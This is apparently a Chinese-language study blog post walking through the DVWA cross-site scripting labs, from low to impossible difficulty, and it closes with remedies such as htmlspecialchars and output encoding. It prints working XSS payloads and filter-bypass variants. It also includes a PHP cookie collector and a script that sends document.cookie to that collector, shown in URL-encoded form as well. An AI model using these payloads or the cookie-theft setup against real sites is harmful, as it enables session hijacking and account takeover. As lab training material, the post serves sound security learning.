DVWA學習日記-7 XSS

XSS漏洞

概述
收到一個鏈接,手一抖就點下去了,發現錢沒了,有點類似CSRF,從受害者角度來說都是一樣情況,但是從攻擊者角度來說不同

XSS
Cross-site scripting
跨站 腳本

本質上:
客戶端代碼注入,通常注入代碼是JavaScript區別於命令注入,SQL注入等服務端代碼注入

類型:
存儲型XSS 攻擊代碼在數據庫裏在HTTP響應中
反射型XSS 攻擊代碼在url裏輸出在HTTP響應中
DOM型XSS 攻擊代碼在url裏輸出在DOM節點

準備:
Firebox
DVWA
Firebug
Hackbar
Tamper Data

實戰
1.進入簡單模式
反射XSS
在這裏插入圖片描述

3.進入存儲型XSS,發現是個常見的留言板功能
在這裏插入圖片描述
4.先來進入反射型XSS
發現一個框,讓我們輸入姓名
正常操作
在這裏插入圖片描述
5.嘗試< xss >標籤
在這裏插入圖片描述
發現hello後面出現了xss標籤,似乎可以注入html標籤
6.彈窗測試

<script>alert(/xss/)</script>

在這裏插入圖片描述
在firebug查看對應元素
在這裏插入圖片描述
7.JavaScript彈窗函數(根據服務器過濾情況選擇)
alert()
在這裏插入圖片描述
confirm()
在這裏插入圖片描述
prompt()
在這裏插入圖片描述
8.攻擊思路
用戶要登陸被攻擊web服務器,攻擊者發送攻擊url(包含攻擊js),誘騙他點擊,用戶點擊後服務器會對攻擊js迴應,用戶瀏覽器執行js腳本,在用戶不知情的情況下,發送憑證到攻擊者web下,達到了跨站的目的,攻擊者獲取到信息,使用用戶身份進入到web服務器

9.攻擊者web設計
創一個cookie.php
http://127.0.0.1/cookie.php

<?php
$cookie=$_GET['cookie'];	//將get請求到的cookie賦值給變量cookie
file_put_conntents('cookie.txt'',$cookie);	//將用戶cookie寫到文件中
?>

構造攻擊js

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
document.localtion	將頁面內容定位到指定的位置
document.cookie		讀取cookie

構造攻擊url(等於提交表單)

http://localhost/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

還需要使用到url編碼
在這裏插入圖片描述

http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E

10.發送url給用戶,獲取cookie
http://127.0.0.1/cookie.txt裏面就有內容了

修改自己的cookie值就可以受害者的號登陸

11.進入中等難度
嘗試發現沒有成功,服務端過濾了script標籤
在這裏插入圖片描述

12.發現只過濾了一次script標籤
嘗試使用<scr< script >ipt>標籤,發現成功彈窗

?name=<scr<script>ipt>alert(/xss/)</script>

也可以使用大小寫混合法,進行繞過

?name=<ScRIPT>alert(/xss/)</ScRiPt>#

13.進入高難度模式
使用了兩種繞過也不行
發現只是限制了script標籤,我們可以使用其他標籤
發現img標籤也可以執行js腳本

?name=<img src=x onerror=alert(1)>	//img標籤
?name=<iframe onload=alert(1)>  //ifrname標籤

14.最後來到無漏洞模式
查看源代碼
在這裏插入圖片描述
發現了htmlspecialchars函數
這個函數可以將
這個函數默認不編譯單引號

& => &amp;
" => &quot
' => &apos;
< => &lt;
> => &gt;

15.來到存儲型XSS
在這裏插入圖片描述
16.前段限制了輸入長度
我們用firebug查看
在這裏插入圖片描述
使用tamper data進行成功繞過
在這裏插入圖片描述
17.因爲存儲型數據庫對數據庫可能會有影響
所以我們重置一下數據庫
在這裏插入圖片描述

18.進入中等難度存儲XSS
使用大小寫混合法成功繞過
name成功注入
message注入失敗

19.進入高難度等級
使用img標籤
而name成功,message注入失敗

img src=x onerror=alert(1)>

20.進入無漏洞模式
輸入我們的特殊符號
在這裏插入圖片描述
同樣使用htmlspecialchars
不僅這樣還是用了mysql_real_escape_string對單引號進行轉義,防止sql注入

修復
輸入過濾
不建議黑名單,應使用白名單

最重要的是輸出過濾
HTML編碼
JS轉義

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章